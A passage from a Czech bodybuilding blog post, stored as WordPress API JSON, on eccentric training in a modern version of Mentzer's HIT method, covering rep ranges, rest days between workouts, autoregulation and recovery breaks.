stabilizovat z\u00e1t\u011b\u017e. Pokud t\u011blo nebo sval nejsou schopny absorbovat z\u00e1t\u011b\u017e excentricky, nezvl\u00e1dnete efektivn\u011b ani pohyb koncentrick\u00fd.\u201c &nbsp; Excentrick\u00fd tr\u00e9nink m\u00e1 vliv na r\u016fst sval\u016f. \u201eFascie, m\u011bkk\u00e1 tk\u00e1\u0148, kter\u00e1 obklopuje sval, je limituj\u00edc\u00edm faktorem toho, do jak\u00e9 m\u00edry m\u016f\u017ee sval r\u016fst. Zam\u011b\u0159en\u00edm na excentrickou f\u00e1zi, zejm\u00e9na v\u00a0posledn\u00edm opakov\u00e1n\u00ed v\u00a0s\u00e9rii, doch\u00e1z\u00ed k\u00a0prota\u017een\u00ed fascie, \u010d\u00edm\u017e je umo\u017en\u011bn v\u011bt\u0161\u00ed prostor pro r\u016fst sval\u016f,\u201c \u0159\u00edk\u00e1 Speer. Abyste tento efekt podpo\u0159ili, doporu\u010duje se, str\u00e1vit del\u0161\u00ed dobu f\u00e1z\u00ed, kdy pokl\u00e1d\u00e1te z\u00e1t\u011b\u017e dol\u016f. Podle Mentzera m\u011bla tato f\u00e1ze trvat \u010dty\u0159i sekundy, v\u00a0modern\u00ed verzi se prodlu\u017euje. Dal\u0161\u00ed aspekt odli\u0161n\u00fd od\u00a0Mentzerova HIT stylu se t\u00fdk\u00e1 \u010dast\u011bj\u0161\u00edho pou\u017eit\u00ed \u010dinek a kladek. \u201eS ohledem na dne\u0161n\u00ed mo\u017enosti tr\u00e9ninku je d\u00edky tomu mo\u017en\u00e9 l\u00e9pe ovlivnit funk\u010dnost sval\u016f,\u201c \u0159\u00edk\u00e1 Speer. \u201ePrvn\u00ed cvik je prov\u00e1d\u011bn s maxim\u00e1ln\u00ed z\u00e1t\u011b\u017e\u00ed, v\u00a0co nejvy\u0161\u0161\u00edm po\u010dtu opakov\u00e1n\u00ed a to s\u00a0\u010dinkou nebo kladkou \u2013 z\u00e1kladn\u00ed my\u0161lenkou je p\u0159edvy\u010derp\u00e1n\u00ed prim\u00e1rn\u00edch a stabiliza\u010dn\u00edch sval\u016f. Nej\u010dast\u011bji to b\u00fdvaj\u00ed stabiliz\u00e1tory, kter\u00e9 se vy\u010derpaj\u00ed jako prvn\u00ed. Jsou to ale prim\u00e1rn\u00ed svaly, tzn. ty v\u011bt\u0161\u00ed svalov\u00e9 partie, kter\u00e9 odvedou v\u011bt\u0161inu pr\u00e1ce p\u0159i druh\u00e9m cviku a umo\u017en\u00ed dos\u00e1hnout maxim\u00e1ln\u00ed kontrakce\/vy\u010derp\u00e1n\u00ed.\u201c Speer \u0159\u00edk\u00e1, \u017ee z\u00e1t\u011b\u017e, kterou byste pro tento cvik m\u011bli pou\u017e\u00edt, by v\u00e1m m\u011bla zaru\u010dit vy\u010derp\u00e1n\u00ed po \u0161esti a\u017e osmi opakov\u00e1n\u00edch. Pokud budete schopni prov\u00e9st v\u00edce ne\u017e osm opakov\u00e1n\u00ed, v\u00a0p\u0159\u00ed\u0161t\u00edm tr\u00e9ninku z\u00e1t\u011b\u017e zvy\u0161te. To plat\u00ed v\u00a0podstat\u011b pro ka\u017edou situaci, kdy najednou zvl\u00e1dnete v\u00edce ne\u017e jen p\u0159edepsan\u00fd po\u010det opakov\u00e1n\u00ed. Velikost z\u00e1t\u011b\u017ee je t\u0159eba p\u0159izp\u016fsobovat nov\u00e9 situaci. D\u00edky tomu va\u0161e s\u00edla poroste. &nbsp; FREKVENCE TR\u00c9NINKU Speer doporu\u010duje odpo\u010dinek jeden a\u017e t\u0159i dny mezi tr\u00e9ninky A a C, dva a\u017e \u010dty\u0159i dny mezi tr\u00e9ninky C a D. Pokud budete m\u00edt pocit, \u017ee pot\u0159ebujete odpo\u010d\u00edvat d\u00e9le, klidn\u011b tomu cvi\u010den\u00ed p\u0159izp\u016fsobte, k\u00a0tomuto p\u0159\u00edstupu se klonil i s\u00e1m Mentzer. D\u016fvodem pro takovou variabilitu cel\u00e9ho syst\u00e9mu je podle Speera p\u0159\u00ednos tzv. konceptu autoregulace, s\u00a0n\u00edm\u017e p\u0159i\u0161el Mel C. Siff, PhD a autor \u0161est\u00e9 edice Supertraining, d\u00edla, kter\u00e9 se v\u011bnuje s\u00edle ve v\u0161ech sm\u011brech. Z\u00e1kladn\u00ed my\u0161lenkou je individu\u00e1ln\u00ed n\u00e1rok na regeneraci. Je t\u0159eba monitorovat n\u00e1roky sv\u00e9ho t\u011bla, vn\u00edmat bolest sval\u016f, kter\u00e9 systematicky vy\u010derp\u00e1v\u00e1te, v\u011bd\u011bt, kdy je nutn\u00e9 p\u0159idat den volna nav\u00edc a kdy naopak v\u00a0tr\u00e9ninku p\u0159itvrdit. M\u011bjte na pam\u011bti, \u017ee b\u00fdv\u00e1 \u010dasto nutn\u00e9 prodlou\u017eit odpo\u010dinek mezi excentrick\u00fdmi tr\u00e9ninky, proto\u017ee negativn\u00ed tr\u00e9nink svaly ve v\u011bt\u0161\u00ed m\u00ed\u0159e zat\u011b\u017euje, vede k\u00a0v\u00fdrazn\u011bj\u0161\u00ed bolestivosti a t\u00edm tak\u00e9 k\u00a0nutnosti dop\u0159\u00e1t t\u011blu v\u00edce \u010dasu na odpo\u010dinek. Tyto tr\u00e9ninky jsou velice intenzivn\u00ed a kladou obrovsk\u00e9 n\u00e1roky na schopnost regenerace. Excentrick\u00e9 tr\u00e9ninky nejenom vy\u010derpaj\u00ed i ty nejhlub\u0161\u00ed vrstvy svalov\u00e9 tk\u00e1n\u011b, ale mohou tak\u00e9 v\u00fdraznou m\u011brou p\u016fsobit na nervov\u00fd syst\u00e9m, kter\u00fd je na regeneraci n\u00e1ro\u010dn\u011bj\u0161\u00ed ne\u017e svaly. Pokud byste sv\u00e9mu t\u011blu nedop\u0159\u00e1li dostatek \u010dasu na odpo\u010dinek, riskovali byste p\u0159etr\u00e9nov\u00e1n\u00ed. Speer proto doporu\u010duje za\u0159adit po ka\u017ed\u00fdch 24 tr\u00e9ninc\u00edch cel\u00fdch sedm a\u017e deset dn\u016f volna, b\u011bhem nich\u017e se t\u011blo dostate\u010dn\u011b zregeneruje. &nbsp; &nbsp;<\/p>\n","protected":false},"author":2,"featured_media":257,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[],"class_list":["post-250","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-treninky"],"acf":[],"_links":{"self":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/250","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/comments?post=250"}],"version-history":[{"count":3,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/250\/revisions"}],"predecessor-version":[{"id":259,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/250\/revisions\/259"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media\/257"}],"wp:attachment":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media?parent=250"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/categories?post=250"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/tags?post=250"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}